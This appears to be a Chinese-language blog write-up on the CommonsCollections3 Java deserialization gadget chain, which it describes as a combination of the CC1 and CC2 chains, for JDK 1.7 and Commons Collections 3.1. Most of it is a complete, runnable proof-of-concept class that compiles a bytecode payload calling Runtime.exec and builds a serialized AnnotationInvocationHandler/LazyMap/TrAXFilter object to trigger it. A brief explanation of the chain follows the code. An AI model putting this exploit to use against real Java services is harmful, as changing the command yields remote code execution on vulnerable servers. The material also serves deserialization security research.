JDK版本:1.7 (8u71之后已修复不可利用)
CommonsCollections 3.1
直接给POC了,就是cc2+cc1
package com.yq1ng.cc3;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;/*** @author ying* @Description* @create 2021-11-23 13:47*/public class cc3 {public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "EvilCat" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{classBytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();setFieldValue(templates, "_bytecodes", targetByteCodes);setFieldValue(templates, "_name", "name");setFieldValue(templates, "_class", null);/*这里new ConstantTransformer(TrAXFilter.class)返回TrAXFilter类,然后传给InstantiateTransformerInstantiateTransformer在构造函数中实例化TrAXFilter类,然后又调用它的构造方法,进而调用newTransformer()方法*/ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})});// 触发InstantiateTransformer#transform()HashMap innermap = new HashMap();LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);handler_constructor.setAccessible(true);InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandler_Constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));outputStream.writeObject(handler);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = getField(obj.getClass(), fieldName);field.set(obj, value);}public static Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {field = clazz.getDeclaredField(fieldName);field.setAccessible(true);}catch (NoSuchFieldException ex) {if (clazz.getSuperclass() != null)field = getField(clazz.getSuperclass(), fieldName);}return field;}}
先看com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java
cc2可以知道,TemplatesImpl是可以加载任意字节码的,这个类先放着。
来看 org/apache/commons/collections/functors/InstantiateTransformer.java,它的transform()又可以实例化任意类
而transform()在cc1中是通过 LazyMap#get()触发的,cc2与cc1结合起来就达到从LazyMap到加载任意字节码的效果
上面poc实现效果如下
